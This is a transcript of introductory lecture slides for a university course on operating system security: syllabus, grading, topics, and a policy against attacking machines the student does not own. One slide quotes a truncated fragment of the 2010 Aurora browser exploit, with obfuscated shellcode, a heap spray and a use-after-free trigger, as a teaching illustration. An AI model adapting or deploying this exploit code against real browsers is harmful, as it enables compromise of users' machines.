Operating Systemsʼ Security - George Mason...

24
ISA 673 Operating SystemsSecurity Angelos Stavrou, George Mason University Introduction & Class Mechanics

Transcript of Operating Systemsʼ Security - George Mason...

Page 1: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

ISA 673 Operating Systems’ Security

Angelos Stavrou, George Mason University!

Introduction & Class Mechanics!

Page 2: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

Course Mechanics

¨  Course URL:!¤  http://cs.gmu.edu/~astavrou/isa673_S13.html!

¨  Instructor ! !Angelos Stavrou!¤  Email: ! ! [email protected]!¤  Office: ! ! !Research Hall, rm 437!¤  Office Phone: ! !(703) 993-3772!¤  Office Hours: ! !Wednesday 4:30 - 6:30pm"

! ! ! !and by appointment!

Page 3: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

Course Mechanics

¨  Course URL:!¤  http://cs.gmu.edu/~astavrou/isa673_S13.html!

¨  TA! ! ! Rahul Murmuria!¤  Email: ! ! [email protected]!¤  Office: ! ! !Research Hall, rm 439!¤  Office Hours: ! !Thursday, 4:00 – 6:00pm!

Page 4: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

Course Bibliography

Required: "Professional Linux Kernel Architecture, Wolfgang Mauerer, John Wiley and Sons, New York, NY, 2008."Available by: [Willey] [Amazon]!

!Recommended: "

- Understanding the Linux Kernel, Third Edition Daniel P. Bovet Marco Cesati ISBN-10: 0596005652 ISBN-13: 978-0596005658 O'Reilly Media Available by: [Online for GMU] [O' Reilly] [Amazon]""- Modern Operating Systems, 3/E Andrew S. Tanenbaum. ISBN-10: 0136006639 ISBN-13: 9780136006633 Prentice Hall "Available by: [GMU Bookstore] [Prentice Hall] [Amazon] "!

Page 5: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

Grading

¨  Class Projects: (2 team or individual) 80%!¨  Class Presentations: 15%!¨  Class Participation: 5%!¨  No Midterm or Final!!!!!

This class is an upper-level class and is geared towards understanding the fundamental concepts behind Security for Computer systems. !!!

The students will be expected to participate in large projects under the guidance of the instructor. "!

Page 6: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

Course Overview

¨  Provide hands-on experience with fundamentals and advanced topics in operating system (OS) security!

¨  OS security techniques: !n  logging, !n  system call auditing, !n  address space randomization, !n memory protection, !n virtual machine introspection (VMI)!

¨  Recent advanced techniques such as host-based intrusion detection system randomization, vulnerability fingerprinting, and virtualization.!

Page 7: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

Prerequisites

¨  Courses!¤  CS571 and ISA 562; or permission of instructor. The

coursework will include substantial programming projects; in order to be able to complete the projects, the students must be comfortable with C/C++.!

¨  Skills!¤ Familiar or comfortable with Linux!¤ System Programming!¤ Willingness to spend time in the lab learning about

exploits, defenses, and tools.!¤ Being able to install programs and work in Unix!

Page 8: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

Course Topics (tentative)

¨  Introduction Operating Systems (OS)!¤  Types of Threats!¤  Basic OS Security Mechanisms!

¨  Understanding the Threats Malware Taxonomy!¤  Viruses!¤  Worms!¤  Rootkits!¤  Defense -- An Overview!

¨  Logging, Auditing, and Recovery !¤  Log Generation!¤  Log Auditing!¤  Log-based Recovery!

Page 9: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

Course Topics (tentative)

¨  OS-level Memory Protection !¤  Review of OS Memory Management!¤  NX Bit!¤  Randomization!

¨  Virtualization Technology and Applications!¤  Virtualization Taxonomy!¤  Security Applications!¤  Virtual Machine Introspection!

¨  Vulnerability Analysis Vulnerability Classification!¤  Defense against Known Vulnerabilities!¤  Defense against Unknown (0-day) Vulnerabilities!

Page 10: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

Course Topics (tentative)

¨  OS-level Memory Protection !¤  Review of OS Memory Management!¤  NX Bit!¤  Randomization!

¨  Virtualization Technology and Applications!¤  Virtualization Taxonomy!¤  Security Applications!¤  Virtual Machine Introspection!

¨  Vulnerability Analysis Vulnerability Classification!¤  Defense against Known Vulnerabilities!¤  Defense against Unknown (0-day) Vulnerabilities!

Page 11: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

Course Topics (tentative)

¨  Malware Capture and Analysis !¤  Honeypot Taxonomy!¤  Recent Honeypot Advances!¤  Deployment and Liabilities!

¨  Malware!¤  Polymorphic Malware!¤  Malware Packers and Javascript Encoders!¤  Analyzing Malware with PIN & IDA Pro!

¨  Rootkits Rootkit Basics!¤  Advanced Rootkit Techniques!¤  Rootkit Defenses!

Page 12: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

Course Schedule (Tentative)

!

¨  Please check it at least twice in a week!!

http://cs.gmu.edu/~astavrou/isa673_S12.html#Schedule

Page 13: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

Course Policies

¨  Academic integrity!¤  If you do not cite it and you use it, you are in violation!!¤  Please read!!

¨  Unless otherwise noted, work turned in should reflect your independent capabilities!¤  If unsure, note / cite sources and help!

¨  Usually, no late submissions will be accepted!¤  No penalty for documented emergency (e.g., medical) or by

prior arrangement in special circumstances!

Page 14: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

Warning

¨  Policy on security experiments:!¤ you may not break into machines that are not

your own; !¤ you may not attempt to attack or subvert system

security on machines not owned by you. !

Page 15: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

ISA 673 Operating Systems’ Security

Introduction!

Page 16: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

Motivation

¨  Internet malware remains a top threat!¤  Malware: virus, worms, rootkits, spyware, bots…!

Page 17: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

Types of Attacks

¨  Viruses, worms, and trojan horses!

¨  Attacks enabled by access to passwords!

¨  Heap Spray Attacks!¨  Denial of service!¨  Return Oriented

Programming!¨  Malware Binaries!¨  Malware Embedded

Objects!¨  E-mail attack!¨  Wireless attacks!

Page 18: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

Google Aurora Attack 2010 <html><script>var sc = unescape("%u9090%u19eb%u4b5b%u3390%u90c9 […]”); var sss = Array(826, 679, … 875); var arr = new Array; for (var i = 0; i < sss.length; i ++ ){ arr[i] = String.fromCharCode(sss[i]/7); } var cc=arr.toString();cc=cc.replace(/ ,/ g, "" ); cc = cc.replace(/@/g, ","); eval(cc); var x1 = new Array(); for (i = 0; i < 200; i ++ ){ x1[i] = document.createElement("COMMENT"); x1[i].data = "abc"; } ; var e1 = null; function ev1(evt){ e1 = document.createEventObject(evt); document.getElementById("sp1").innerHTML = ""; window.setInterval(ev2, 50); } function ev2(){ p = “ \u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d \u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d \u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d"; for (i = 0; i < x1.length; i ++ ){ x1[i].data = p; } ; var t = e1.srcElement; } </script><span id="sp1"><IMG SRC="aaa.gif" onload="ev1(event)"></span></body></html>

Page 19: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

Similar Code Injection Examples

Page 20: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

Modern Malware Attacks (image courtesy of Ahnlab)

Page 21: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

22 “unwanted” programs are installed without the user’s consent

An Attack Incident Against IE Browser

Page 22: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

22

URL-level Topology Graph for WinXP SP1 Un-patched: 688 URLs from 270 sites

Topology Graph of Malicious URLs

Site nodes

URLs

Content Provider Exploit Provider

Redirecting URL

Exploiting URL

Page 23: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

Motivation

Page 24: Operating Systemsʼ Security - George Mason Universityastavrou/courses/ISA_673_S13/Introduction.pdf · Operating Systemsʼ Security ... Provide hands-on experience with fundamentals

Course Focus

¨  Understanding essential techniques behind these attacks offensively and defensively !

¨  Write your own working code!!